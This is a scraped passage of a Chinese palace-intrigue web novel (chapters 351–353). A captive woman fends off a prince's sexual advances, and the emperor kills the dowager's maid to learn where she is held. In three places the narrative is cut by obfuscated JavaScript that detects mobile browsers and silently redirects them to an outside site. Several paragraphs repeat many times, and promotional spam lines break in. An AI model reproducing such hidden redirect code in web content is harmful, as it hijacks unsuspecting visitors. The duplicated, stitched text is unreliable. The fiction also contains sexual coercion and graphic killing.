忽兰儿闻言,神色微动,正要开口,却又忽然话锋一转,眼底的戏谑再次浮现,他伸出手,指尖带着几分力道,轻轻捏住薛嘉言的下巴,强迫她抬头看着自己,声音沙哑而暧昧:“宋家有个静妃在宫里,太后嫌你占着皇帝的心思,耽误了静妃固宠罢了。说起来,你们那个皇帝也真是个废物,连两个女人都满足不了,不如,让我来满足你?” 他的指尖蹭过薛嘉言细腻的下颌,“说真的,我现在有点不想听你说这些废话了……” 薛嘉言的心瞬间提到了嗓子眼,怦怦直跳,她强迫自己冷静下来,脸上依旧维持着平静,目光直视着忽兰儿,语气沉稳地反问道:“台吉若是这般想,就太过天真了。若太后真的嫌我碍眼,以她的权势,一道懿旨赐我白绫,或是将我发配到偏远的尼姑庵,岂不是干净利落,一了百了?何必要大费周章,布下这么大的局,还要将您这位朵颜部台吉,强行拖进这滩浑水里来?” 这句话,如同当头一棒,瞬间敲醒了忽兰儿。 他捏着薛嘉言下巴的力道微微松了些,眼底多了些凝重与思索。 薛嘉言敏锐地捕捉到他神色的变化,知道自己的话已经起效,便趁势追击,语气愈发恳切:“不瞒台吉,对于你们朵颜部,我大兖朝中一直分为主战、主和两派,各执一词,争论不休,陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352238|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也一直犹豫不决。而以太后为首的宋家,却是坚定的主战派,他们一直想要通过战争,扩充自己的势力,获得更多的筹码,巩固宋家的权势。” 她顿了顿,稳住气息继续道:“如今,陛下已经下定决心与朵颜部议和,这恰恰是太后最不愿看到的。那么,您觉得,她会怎么做?怎样才能挑动两国矛盾,让议和成为泡影?” 忽兰儿沉默片刻,眉头依旧紧蹙,语气带着几分不服气道:“这不过是你的推测罢了。太后娘娘不过是个深宫妇人,怕是看不到这么长远。她这般做,不过是想做个媒人,让我娶了你这位传说中的女财神而已。” 薛嘉言闻言,忍不住轻轻笑了一声,语气依旧诚恳:“看来,太后果然误导了台吉。台吉莫不是真以为,我名下的那些商铺、生意,都是我一己之力做下来的?” 她看着忽兰儿疑惑的眼神,继续说道:“台吉身边想必从不缺女人,也会给喜欢的女人花些钱财吧?我们陛下向来大方,我名下的所有产业、所有财富,看似是我所有,实则都是陛下所赠,我不过是个挂名的东家,替陛下打理罢了。” 忽兰儿的眉头蹙得更紧了,眼底的疑惑愈发浓烈。据汪贵禀报,薛氏名下的产业遍布京城,财富惊人,还说她母家本就是世代经商的富商,家底丰厚,怎么会全是那个病秧子皇帝所赠?难道汪贵真的骗了他? 薛嘉言看出了他的疑虑,又缓缓开口,语气带着几分共情:“或许,我在陛下心中,并不算太过重要,可台吉应该比我清楚,没有哪个男人,是不要面子的。陛下即便不纳我入宫,也绝不会容忍旁人掳走我,这关乎他的帝王尊严。” 她话锋一转,直击忽兰儿的要害:“台吉之所以愿意与大兖议和,我想,也是到了不得不谈的地步吧?朵颜部经历战乱,粮草短缺,再打下去,不过是两败俱伤,对谁都没有好处。这种时刻,台吉真的愿意,为了我这么个无足轻重的女人,毁了两国和谈的大事,连累整个朵颜部再次陷入战火吗?” 第351章 得知消息 忽兰儿的面色彻底冷了下来,体内先前翻涌的欲火,被薛嘉言的一番话彻底压制下去,取而代之的是几分凝重与不悦。 他猛地松开捏着薛嘉言下巴的手,声音粗粝而有力:“打就打!有什么好怕的?只是你们的皇帝,太过没用,身为帝王,却体弱多病,连亲自上阵都不敢,只能派几个废物将领前来,也配做天下之主?” 他顿了顿,眼底闪过一丝豪情与野心,语气愈发张扬:“我忽兰儿若是有大兖这偌大江山,有这般富饶的土地,定要带着朵颜铁骑,踏遍四野,征服所有部落,让天下人都臣服于我!” 薛嘉言闻言,心头有了计较。 她抬眸细细打量着眼前的忽兰儿,他生得极为粗狂,黝黑的皮肤是草原风沙馈赠的印记,眉眼深邃硬朗,下颌线紧绷,看起来足有二十好几。 可薛嘉言看得明白,他眼底藏着未被磨平的锋芒,那份不加掩饰的桀骜与好胜,分明是少年人才有的模样——或许,他的真实年纪,其实与姜玄相差无几,只是草原的烈日与风沙,过早地将他打磨得沧桑,掩去了少年模样。 薛嘉言缓缓开口,顺着他的话顺势夸赞:“台吉自然是大英雄。这般年轻,便能统率千军万马,执掌朵颜铁骑,威慑草原各部,当真是英武不凡,世间少有。” 这话说到了忽兰儿的心坎里,他脸上绽开笑容,露出一抹得意。 不等薛嘉言松口气,忽兰儿一把扯开身上汉服的衣襟,露出黝黑结实、布满薄茧的胸膛,肌肉线条流畅而有力量,那是草原男儿常年骑射、征战沙场练就的体魄。 “你说得没错!”他语气豪迈,眼睛一错不错地看着薛嘉言,“你是女人中的女人,容貌绝色,聪慧过人;我是男人中的男人,勇武过人。你也不是小姑娘了,应该知道,我这种真男儿,才是世间极品,真的不想跟我试试吗?” 薛嘉言的心瞬间又提了起来,怦怦直跳,连呼吸都变得有些急促。 她强迫自己冷静下来,快速思索着——自她醒来,忽兰儿与她周旋了足足一刻钟,若是他真的是个急色之徒,根本不会这般耐着性子,早就直接上手了。 这份认知,给了她几分底气,她深吸一口气,努力压下心底的慌乱,神色渐渐镇定下来。 “台吉,”她声音轻柔,“您是草原上的狼,草原的狼吃肉,追求的是追逐的刺激,从不会强迫猎物低头。” 她微微蹙起眉头,神色愈发虚弱,“现在我躺在这儿,头晕目眩,连抬手的力气都没有,您一定不会强迫我,大英雄 ……怎么会做这种趁人之危、失了体面的事呢……” 她说着,声气的确比一开始弱了许多,连说话都有些断断续续的。 先前在冰冷的河水里浸泡了许久,寒气早已侵入骨髓,起初被昏迷掩盖的不适感,随着她的苏醒,一点点累积、蔓延。 薛嘉言只觉得脑袋昏沉的厉害,眼前阵阵发黑,身上更是滚烫滚烫的,连呼吸都带着灼热的气息——不用想也知道,她是发热了。 忽兰儿本就心思直白,此刻听得她气息微弱,再仔细打量,便见她的脖颈、耳根都泛起了淡淡的绯红,脸颊也透着不正常的滚烫,连眼神都变得有些涣散,显然是真的难受,并非故意装出来的。 他喉结不自觉滚动了一下,咽了咽口水,目光落在她白皙细腻的脸颊上,“你的皮肤可真嫩,粉粉的,像草原上刚绽放的花瓣一样……” 薛嘉言心中暗叫不妙,头疼得越来越厉害,像是有无数根细针在太阳穴里反复扎刺,一阵一阵的刺痛,让她几乎支撑不住。 薛嘉言咬着下唇,用尽最后一丝力气,声音虚弱却依旧清晰,字字恳切地劝道:“台吉……草原的百姓,还在等着你带好消息回去啊。他们饱受战乱之苦,需要粮食填饱肚子,需要布匹抵御严寒,需要盐、需要茶,需要安稳的日子……这些,哪一样,都比我一个普通的女人重要。” 薛嘉言的气息越来越虚,“台吉是草原的大英雄,定然会选择对朵颜部、对百姓最有利的路,不会因一时私欲,误了大事的……” 这句话说完,薛嘉言便再也撑不住了。 她头疼欲裂,浑身滚烫,眼前一黑,身子一软,彻底失去了意识,缓缓倒回床上,长长的睫毛轻垂,面色苍白得像一张薄纸,唯有脸颊和脖颈上的绯红,昭示着她正在发热。 忽兰儿见状,心头一紧,伸手轻轻摸了摸她的额头——滚烫滚烫的。 他微微蹙眉,收回手,又缓缓抚上她细腻的脸颊,指腹的触感依旧柔软,可她此刻毫无生气,安静得让人心头发紧。 他眸色深沉,眼底翻涌着复杂的情绪,有不甘,有犹豫,有怜惜。 忽兰儿就这般静静看着她的脸颊,久久未动,没人知道,他此刻心底正在盘算着什么。 长宜宫内灯火通明,暖意融融。 姜玄刚从紫宸殿回来,褪去一身沉重朝服,换了身月白暗纹常服,正坐回案前,准备继续批阅堆积如山的奏疏。 他刚翻开一页,殿外便传来一阵近乎失态的急促脚步声。 下一秒,消息如惊雷般砸进殿内—— 薛嘉言在入宫途中马车失控坠入金水河,人已失踪,生死不明。 姜玄的心脏像是被狠狠攥住,血色瞬间从脸上褪得一干二净。 他猛地站起身,胸口剧烈起伏,急促地喘息着。 姜玄强迫自己深吸两口气,压下那股快要将他吞噬的恐慌。 于志英派来报信的人说完,姜玄便已锁定了凶手。 他没有派人宣薛嘉言入宫,甘柏能去,肯定是已经被胁迫。 除了太后,整个大兖再没有第二个人有这样的手笔。 恨意与恐惧同时冲上头顶,他咬牙切齿,眸底翻涌着近乎毁天灭地的戾色,再也控制不住,一拳狠狠砸在坚硬的檀木书案上。 “咚——” 沉闷的巨响震得桌上砚台都跳了一下。 “来人!宣苗菁!宣敖策!立刻!马上!” 他几乎是吼出来的。 ……怎么会做这种趁人之危、失了体面的事呢……” 她说着,声气的确比一开始弱了许多,连说话都有些断断续续的。 先前在冰冷的河水里浸泡了许久,寒气早已侵入骨髓,起初被昏迷掩盖的不适感,随着她的苏醒,一点点累积、蔓延。 薛嘉言只觉得脑袋昏沉的厉害,眼前阵阵发黑,身上更是滚烫滚烫的,连呼吸都带着灼热的气息——不用想也知道,她是发热了。 忽兰儿本就心思直白,此刻听得她气息微弱,再仔细打量,便见她的脖颈、耳根都泛起了淡淡的绯红,脸颊也透着不正常的滚烫,连眼神都变得有些涣散,显然是真的难受,并非故意装出来的。 他喉结不自觉滚动了一下,咽了咽口水,目光落在她白皙细腻的脸颊上,“你的皮肤可真嫩,粉粉的,像草原上刚绽放的花瓣一样……” 薛嘉言心中暗叫不妙,头疼得越来越厉害,像是有无数根细针在太阳穴里反复扎刺,一阵一阵的刺痛,让她几乎支撑不住。 薛嘉言咬着下唇,用尽最后一丝力气,声音虚弱却依旧清晰,字字恳切地劝道:“台吉……草原的百姓,还在等着你带好消息回去啊。他们饱受战乱之苦,需要粮食填饱肚子,需要布匹抵御严寒,需要盐、需要茶,需要安稳的日子……这些,哪一样,都比我一个普通的女人重要。” 薛嘉言的气息越来越虚,“台吉是草原的大英雄,定然会选择对朵颜部、对百姓最有利的路,不会因一时私欲,误了大事的……” 这句话说完,薛嘉言便再也撑不住了。 她头疼欲裂,浑身滚烫,眼前一黑,身子一软,彻底失去了意识,缓缓倒回床上,长长的睫毛轻垂,面色苍白得像一张薄纸,唯有脸颊和脖颈上的绯红,昭示着她正在发热。 忽兰儿见状,心头一紧,伸手轻轻摸了摸她的额头——滚烫滚烫的。 他微微蹙眉,收回手,又缓缓抚上她细腻的脸颊,指腹的触感依旧柔软,可她此刻毫无生气,安静得让人心头发紧。 他眸色深沉,眼底翻涌着复杂的情绪,有不甘,有犹豫,有怜惜。 忽兰儿就这般静静看着她的脸颊,久久未动,没人知道,他此刻心底正在盘算着什么。 长宜宫内灯火通明,暖意融融。 姜玄刚从紫宸殿回来,褪去一身沉重朝服,换了身月白暗纹常服,正坐回案前,准备继续批阅堆积如山的奏疏。 他刚翻开一页,殿外便传来一阵近乎失态的急促脚步声。 下一秒,消息如惊雷般砸进殿内—— 薛嘉言在入宫途中马车失控坠入金水河,人已失踪,生死不明。 姜玄的心脏像是被狠狠攥住,血色瞬间从脸上褪得一干二净。 他猛地站起身,胸口剧烈起伏,急促地喘息着。 姜玄强迫自己深吸两口气,压下那股快要将他吞噬的恐慌。 于志英派来报信的人说完,姜玄便已锁定了凶手。 他没有派人宣薛嘉言入宫,甘柏能去,肯定是已经被胁迫。 除了太后,整个大兖再没有第二个人有这样的手笔。 恨意与恐惧同时冲上头顶,他咬牙切齿,眸底翻涌着近乎毁天灭地的戾色,再也控制不住,一拳狠狠砸在坚硬的檀木书案上。 “咚——” 沉闷的巨响震得桌上砚台都跳了一下。 “来人!宣苗菁!宣敖策!立刻!马上!” 他几乎是吼出来的。 ……怎么会做这种趁人之危、失了体面的事呢……” 她说着,声气的确比一开始弱了许多,连说话都有些断断续续的。 先前在冰冷的河水里浸泡了许久,寒气早已侵入骨髓,起初被昏迷掩盖的不适感,随着她的苏醒,一点点累积、蔓延。 薛嘉言只觉得脑袋昏沉的厉害,眼前阵阵发黑,身上更是滚烫滚烫的,连呼吸都带着灼热的气息——不用想也知道,她是发热了。 忽兰儿本就心思直白,此刻听得她气息微弱,再仔细打量,便见她的脖颈、耳根都泛起了淡淡的绯红,脸颊也透着不正常的滚烫,连眼神都变得有些涣散,显然是真的难受,并非故意装出来的。 他喉结不自觉滚动了一下,咽了咽口水,目光落在她白皙细腻的脸颊上,“你的皮肤可真嫩,粉粉的,像草原上刚绽放的花瓣一样……” 薛嘉言心中暗叫不妙,头疼得越来越厉害,像是有无数根细针在太阳穴里反复扎刺,一阵一阵的刺痛,让她几乎支撑不住。 薛嘉言咬着下唇,用尽最后一丝力气,声音虚弱却依旧清晰,字字恳切地劝道:“台吉……草原的百姓,还在等着你带好消息回去啊。他们饱受战乱之苦,需要粮食填饱肚子,需要布匹抵御严寒,需要盐、需要茶,需要安稳的日子……这些,哪一样,都比我一个普通的女人重要。” 薛嘉言的气息越来越虚,“台吉是草原的大英雄,定然会选择对朵颜部、对百姓最有利的路,不会因一时私欲,误了大事的……” 这句话说完,薛嘉言便再也撑不住了。 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薛嘉言咬着下唇,用尽最后一丝力气,声音虚弱却依旧清晰,字字恳切地劝道:“台吉……草原的百姓,还在等着你带好消息回去啊。他们饱受战乱之苦,需要粮食填饱肚子,需要布匹抵御严寒,需要盐、需要茶,需要安稳的日子……这些,哪一样,都比我一个普通的女人重要。” 薛嘉言的气息越来越虚,“台吉是草原的大英雄,定然会选择对朵颜部、对百姓最有利的路,不会因一时私欲,误了大事的……” 这句话说完,薛嘉言便再也撑不住了。 她头疼欲裂,浑身滚烫,眼前一黑,身子一软,彻底失去了意识,缓缓倒回床上,长长的睫毛轻垂,面色苍白得像一张薄纸,唯有脸颊和脖颈上的绯红,昭示着她正在发热。 忽兰儿见状,心头一紧,伸手轻轻摸了摸她的额头——滚烫滚烫的。 他微微蹙眉,收回手,又缓缓抚上她细腻的脸颊,指腹的触感依旧柔软,可她此刻毫无生气,安静得让人心头发紧。 他眸色深沉,眼底翻涌着复杂的情绪,有不甘,有犹豫,有怜惜。 忽兰儿就这般静静看着她的脸颊,久久未动,没人知道,他此刻心底正在盘算着什么。 长宜宫内灯火通明,暖意融融。 姜玄刚从紫宸殿回来,褪去一身沉重朝服,换了身月白暗纹常服,正坐回案前,准备继续批阅堆积如山的奏疏。 他刚翻开一页,殿外便传来一阵近乎失态的急促脚步声。 下一秒,消息如惊雷般砸进殿内—— 薛嘉言在入宫途中马车失控坠入金水河,人已失踪,生死不明。 姜玄的心脏像是被狠狠攥住,血色瞬间从脸上褪得一干二净。 他猛地站起身,胸口剧烈起伏,急促地喘息着。 姜玄强迫自己深吸两口气,压下那股快要将他吞噬的恐慌。 于志英派来报信的人说完,姜玄便已锁定了凶手。 他没有派人宣薛嘉言入宫,甘柏能去,肯定是已经被胁迫。 除了太后,整个大兖再没有第二个人有这样的手笔。 恨意与恐惧同时冲上头顶,他咬牙切齿,眸底翻涌着近乎毁天灭地的戾色,再也控制不住,一拳狠狠砸在坚硬的檀木书案上。 “咚——” 沉闷的巨响震得桌上砚台都跳了一下。 “来人!宣苗菁!宣敖策!立刻!马上!” 他几乎是吼出来的。 ……怎么会做这种趁人之危、失了体面的事呢……” 她说着,声气的确比一开始弱了许多,连说话都有些断断续续的。 先前在冰冷的河水里浸泡了许久,寒气早已侵入骨髓,起初被昏迷掩盖的不适感,随着她的苏醒,一点点累积、蔓延。 薛嘉言只觉得脑袋昏沉的厉害,眼前阵阵发黑,身上更是滚烫滚烫的,连呼吸都带着灼热的气息——不用想也知道,她是发热了。 忽兰儿本就心思直白,此刻听得她气息微弱,再仔细打量,便见她的脖颈、耳根都泛起了淡淡的绯红,脸颊也透着不正常的滚烫,连眼神都变得有些涣散,显然是真的难受,并非故意装出来的。 他喉结不自觉滚动了一下,咽了咽口水,目光落在她白皙细腻的脸颊上,“你的皮肤可真嫩,粉粉的,像草原上刚绽放的花瓣一样……” 薛嘉言心中暗叫不妙,头疼得越来越厉害,像是有无数根细针在太阳穴里反复扎刺,一阵一阵的刺痛,让她几乎支撑不住。 薛嘉言咬着下唇,用尽最后一丝力气,声音虚弱却依旧清晰,字字恳切地劝道:“台吉……草原的百姓,还在等着你带好消息回去啊。他们饱受战乱之苦,需要粮食填饱肚子,需要布匹抵御严寒,需要盐、需要茶,需要安稳的日子……这些,哪一样,都比我一个普通的女人重要。” 薛嘉言的气息越来越虚,“台吉是草原的大英雄,定然会选择对朵颜部、对百姓最有利的路,不会因一时私欲,误了大事的……” 这句话说完,薛嘉言便再也撑不住了。 她头疼欲裂,浑身滚烫,眼前一黑,身子一软,彻底失去了意识,缓缓倒回床上,长长的睫毛轻垂,面色苍白得像一张薄纸,唯有脸颊和脖颈上的绯红,昭示着她正在发热。 忽兰儿见状,心头一紧,伸手轻轻摸了摸她的额头——滚烫滚烫的。 他微微蹙眉,收回手,又缓缓抚上她细腻的脸颊,指腹的触感依旧柔软,可她此刻毫无生气,安静得让人心头发紧。 他眸色深沉,眼底翻涌着复杂的情绪,有不甘,有犹豫,有怜惜。 忽兰儿就这般静静看着她的脸颊,久久未动,没人知道,他此刻心底正在盘算着什么。 长宜宫内灯火通明,暖意融融。 姜玄刚从紫宸殿回来,褪去一身沉重朝服,换了身月白暗纹常服,正坐回案前,准备继续批阅堆积如山的奏疏。 他刚翻开一页,殿外便传来一阵近乎失态的急促脚步声。 下一秒,消息如惊雷般砸进殿内—— 薛嘉言在入宫途中马车失控坠入金水河,人已失踪,生死不明。 姜玄的心脏像是被狠狠攥住,血色瞬间从脸上褪得一干二净。 他猛地站起身,胸口剧烈起伏,急促地喘息着。 姜玄强迫自己深吸两口气,压下那股快要将他吞噬的恐慌。 于志英派来报信的人说完,姜玄便已锁定了凶手。 他没有派人宣薛嘉言入宫,甘柏能去,肯定是已经被胁迫。 除了太后,整个大兖再没有第二个人有这样的手笔。 恨意与恐惧同时冲上头顶,他咬牙切齿,眸底翻涌着近乎毁天灭地的戾色,再也控制不住,一拳狠狠砸在坚硬的檀木书案上。 “咚——” 沉闷的巨响震得桌上砚台都跳了一下。 “来人!宣苗菁!宣敖策!立刻!马上!” 他几乎是吼出来的。 ……怎么会做这种趁人之危、失了体面的事呢……” 她说着,声气的确比一开始弱了许多,连说话都有些断断续续的。 先前在冰冷的河水里浸泡了许久,寒气早已侵入骨髓,起初被昏迷掩盖的不适感,随着她的苏醒,一点点累积、蔓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352239|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延。 薛嘉言只觉得脑袋昏沉的厉害,眼前阵阵发黑,身上更是滚烫滚烫的,连呼吸都带着灼热的气息——不用想也知道,她是发热了。 忽兰儿本就心思直白,此刻听得她气息微弱,再仔细打量,便见她的脖颈、耳根都泛起了淡淡的绯红,脸颊也透着不正常的滚烫,连眼神都变得有些涣散,显然是真的难受,并非故意装出来的。 他喉结不自觉滚动了一下,咽了咽口水,目光落在她白皙细腻的脸颊上,“你的皮肤可真嫩,粉粉的,像草原上刚绽放的花瓣一样……” 薛嘉言心中暗叫不妙,头疼得越来越厉害,像是有无数根细针在太阳穴里反复扎刺,一阵一阵的刺痛,让她几乎支撑不住。 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忽兰儿本就心思直白,此刻听得她气息微弱,再仔细打量,便见她的脖颈、耳根都泛起了淡淡的绯红,脸颊也透着不正常的滚烫,连眼神都变得有些涣散,显然是真的难受,并非故意装出来的。 他喉结不自觉滚动了一下,咽了咽口水,目光落在她白皙细腻的脸颊上,“你的皮肤可真嫩,粉粉的,像草原上刚绽放的花瓣一样……” 薛嘉言心中暗叫不妙,头疼得越来越厉害,像是有无数根细针在太阳穴里反复扎刺,一阵一阵的刺痛,让她几乎支撑不住。 薛嘉言咬着下唇,用尽最后一丝力气,声音虚弱却依旧清晰,字字恳切地劝道:“台吉……草原的百姓,还在等着你带好消息回去啊。他们饱受战乱之苦,需要粮食填饱肚子,需要布匹抵御严寒,需要盐、需要茶,需要安稳的日子……这些,哪一样,都比我一个普通的女人重要。” 薛嘉言的气息越来越虚,“台吉是草原的大英雄,定然会选择对朵颜部、对百姓最有利的路,不会因一时私欲,误了大事的……” 这句话说完,薛嘉言便再也撑不住了。 她头疼欲裂,浑身滚烫,眼前一黑,身子一软,彻底失去了意识,缓缓倒回床上,长长的睫毛轻垂,面色苍白得像一张薄纸,唯有脸颊和脖颈上的绯红,昭示着她正在发热。 忽兰儿见状,心头一紧,伸手轻轻摸了摸她的额头——滚烫滚烫的。 他微微蹙眉,收回手,又缓缓抚上她细腻的脸颊,指腹的触感依旧柔软,可她此刻毫无生气,安静得让人心头发紧。 他眸色深沉,眼底翻涌着复杂的情绪,有不甘,有犹豫,有怜惜。 忽兰儿就这般静静看着她的脸颊,久久未动,没人知道,他此刻心底正在盘算着什么。 长宜宫内灯火通明,暖意融融。 姜玄刚从紫宸殿回来,褪去一身沉重朝服,换了身月白暗纹常服,正坐回案前,准备继续批阅堆积如山的奏疏。 他刚翻开一页,殿外便传来一阵近乎失态的急促脚步声。 下一秒,消息如惊雷般砸进殿内—— 薛嘉言在入宫途中马车失控坠入金水河,人已失踪,生死不明。 姜玄的心脏像是被狠狠攥住,血色瞬间从脸上褪得一干二净。 他猛地站起身,胸口剧烈起伏,急促地喘息着。 姜玄强迫自己深吸两口气,压下那股快要将他吞噬的恐慌。 于志英派来报信的人说完,姜玄便已锁定了凶手。 他没有派人宣薛嘉言入宫,甘柏能去,肯定是已经被胁迫。 除了太后,整个大兖再没有第二个人有这样的手笔。 恨意与恐惧同时冲上头顶,他咬牙切齿,眸底翻涌着近乎毁天灭地的戾色,再也控制不住,一拳狠狠砸在坚硬的檀木书案上。 “咚——” 沉闷的巨响震得桌上砚台都跳了一下。 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“陛下不是说,与她不过露水情缘、不值一提吗?如今这般着急,又是做什么?” 姜玄双手死死攥紧,指节泛白,青筋在手背上凸起,一字一顿,再次逼问:“朕问你——你把她藏到了哪里?” 太后轻笑一声,缓缓抬手指向那盏依旧旋转 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的走马灯,声音轻柔,却字字诛心:“陛下瞧,多好看的一出戏啊。英雄配美人,此时此刻,他们说不定正软玉温香、贪欢一晌呢……” 这句话彻底点燃了姜玄最后一根理智。 他忍无可忍,猛地上前一步,大手狠狠揪住太后的衣襟,猛地一拽,将人从软枕上拽到身前。 另一只手死死卡在她的脖颈上,力道之大,几乎要将人掐断。 “你对她——究竟做了什么?!” 沁芳吓得浑身发抖,“噗通”一声跪倒在地,双手死死拽住姜玄的衣襟,额头抵着冰冷的地面,声音带着哭腔,苦苦哀求:“陛下!不可啊!万万不可伤了娘娘!娘娘是您的母后,是一手扶持您上位的人,您不能做千古罪人啊!” 她的指尖冰凉,死死攥着姜玄的衣料,连身子都在不住打颤,生怕下一秒,太后便会命丧姜玄之手。 可太后却浑不在意,脖颈被掐得发红,面上依旧带着桀骜和从容,哑着嗓子,字字带着挑衅与笃定:“怎么?你为了那么一个寡廉鲜耻的女人,要杀我?好啊,你杀啊!尽管动手!” 她抬眸,眼底翻涌着癫狂的快意,“你杀了我这个一手扶持你上位、为你稳固江山的母后,且看天下人如何评判你,看史书如何记载你!旁人只会说我养了一条忘恩负义的白眼狼,只会替我叹息惋惜,而你,姜玄,会背负几百年的千古骂名,永远被钉在耻辱柱上!杀啊!你倒是杀啊!” 姜玄死死盯着她癫狂的模样,眸底的戾气几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357219|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎要溢出来,指尖的力道不断收紧,可太后眼底那副有恃无恐的模样,像一根针,狠狠扎醒了他—— 他不能杀她,至少现在不能。杀了太后,只会让宋家有理由作乱,朝堂大乱,更何况,她一定知道言言在哪里。 猛地,他松开了手。 太后毫无防备,重重跌坐回软榻上,她重新坐好,依旧挺直脊背,眼底满是不屑与挑衅:“你……” 她刚要开口继续嘲讽,话未说完,却见姜玄眼神一厉,飞快地抄起桌上那盏燃着烛火的青铜烛台,手臂高高扬起,没有丝毫犹豫,狠狠朝着一旁还在跪地哀求的沁芳头上砸去! “啊——!” 一声凄厉的惨叫划破寝殿的死寂,沁芳连反应的时间都没有,脑袋被烛台狠狠砸中,身子瞬间委顿下去,瘫了下去,一动不动。 殷红的鲜血立刻从伤口处喷涌而出,顺着她的脸颊不断滑落,很快便染红了她的衣襟,一张清秀的脸庞被血渍糊得面目模糊,再也看不清原本的模样。 太后瞳孔骤然收缩,浑身一僵,脸上的不屑与癫狂瞬间消失得无影无踪,取而代之的是极致的震惊与痛苦。 她猛地从软榻上扑下来,不顾地上的血污,双膝跪地,紧紧抱住沁芳的身体,失声哭喊着:“沁芳!沁芳!你醒醒!” 沁芳伺候了太后十几年,从太后还是少女、尚未入宫之时,便一直陪伴在她身边,见证了她的荣耀与落魄,陪着她熬过深宫的尔虞我诈,陪着她一步步走到如今的位置。 她们之间,早已超越了主仆之情,甚至比很多血脉相连的家人,还要亲近几分。 看着沁芳渐渐没了生气的模样,感受着她身体慢慢散去的温度,太后的心像是被生生撕裂,头晕目眩。 她猛地回眸,看向姜玄,眸中蓄满了泪水,透着毁天灭地的恨意,声音嘶哑吼道:“你竟敢伤她!姜玄,你竟敢杀了她!” 姜玄握着那盏沾着血渍的烛台,烛火摇曳,映得他脸上也染上一片猩红,他阴恻恻道:“太后不想我继续杀人,就现在告诉我,言言在哪里!” 第353章 都疯了 太后看着姜玄偏执的模样,心中的恨意与绝望交织,她噙着泪,嘴角勾起一抹凄厉的笑,故意用最恶毒的话语刺激他:“告诉你又如何?她现在已经被忽兰儿睡了,早已不是什么干净的女人!你这般疯魔,难道要再一次捡别人睡过的玩意吗? 姜玄浑身一震,心口像是被狠狠砸了一下,传来一阵钝痛,可他眼底的偏执却丝毫未减,语气无比坚定。 “朕不在乎!朕只要她好好的,只要能找到她,哪怕她满身污秽,朕都不在乎!朕只要她活着! 他深吸一口气,压下心底的翻涌,忽然高声朝着殿外喊道:“来人!去宣静妃立刻过来! 喊完,他俯身,凑近太后,带着阴恻恻的寒意,每一个字都像是从牙缝里挤出来的:“太后娘娘劳苦功高,朕这个皇帝,自然不能伤了娘娘。 他瞥了一眼地上沁芳的,语气冰冷刺骨,“沁芳伺候得不好,死了便死了,不足为惜。静妃是宋家的人,她太过没用,入宫这么久,至今还没有为朕诞下子嗣,留着也没什么用。 “宣她过来,朕一起杀了。 姜玄的眼神里没有丝毫怜悯,只有偏执的疯狂,“你记住,若言言有半分闪失,朕便叫整个京城血流成河!所有与你相关的人,朕都会让他们为言言陪葬! 太后胸口剧烈起伏,气息急促。 眼前的姜玄,她既熟悉又无比陌生。 比起紫宸殿上那个还会隐忍克制的帝王,今夜的他,简直像一头挣脱了所有枷锁的疯兽——他竟为了那么一个的女人,疯到这种地步! 她看得清清楚楚,姜玄眼底那股杀心不是装的。 若她再嘴硬,等宋静仪一到,他绝对会毫不犹豫,当着她的面,把宋静仪直接杀了。 太后闭了闭眼,声音压得发颤,终于松口: “……在汇宾楼。 这四个字一落,姜玄紧绷的身子猛地一松。 他掌心的青铜烛台落在地上,转身疯一般冲出寝殿。 一出长乐宫,寒风卷着夜色扑在脸上。 姜玄一边狂奔,一边厉声嘶吼:“张鸿宝!传朕口谕——调禁军,随朕去汇宾楼!快! “陛下!陛下您先披件衣裳啊! 张鸿宝拼了命地追,冻得嘴唇发紫,嗓子都喊破了。 可姜玄像是完全听不见,眼里只有一个方向,脚下一刻不停。 迎面正好撞见敖策带着禁军牵马赶来。 姜玄不等马停稳,纵身一跃,翻身上马。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 敖策一把抢过张鸿宝怀里的披风,扔向他:“陛下!披上!” 姜玄伸手接住,胡乱一抖,飞快系好带子,双腿狠狠一夹马腹。 “驾——!” 骏马长嘶一声,四蹄翻飞,冲破宫道夜色,绝尘而去。 与此同时,钟粹宫方向,宋静仪接到宣召,慌慌张张赶了过来。 快到长乐宫廊下时,一阵急促狂暴的马蹄声传来,震得廊下灯笼都在晃。 她猛地顿住脚步,蹙眉惊疑。 谁敢在宫城里这般纵马? 等马蹄声远去,她才压着心头不安,快步踏入长乐宫。 一进寝殿,扑面而来的便是浓重的血腥气。 沁芳仍旧躺在原地,绒毯被大片鲜血浸透,呈暗黑色,暗红粘稠的血,糊得她整张脸面目全非。 太后僵坐一旁,不许任何人挪动,只说等太医。 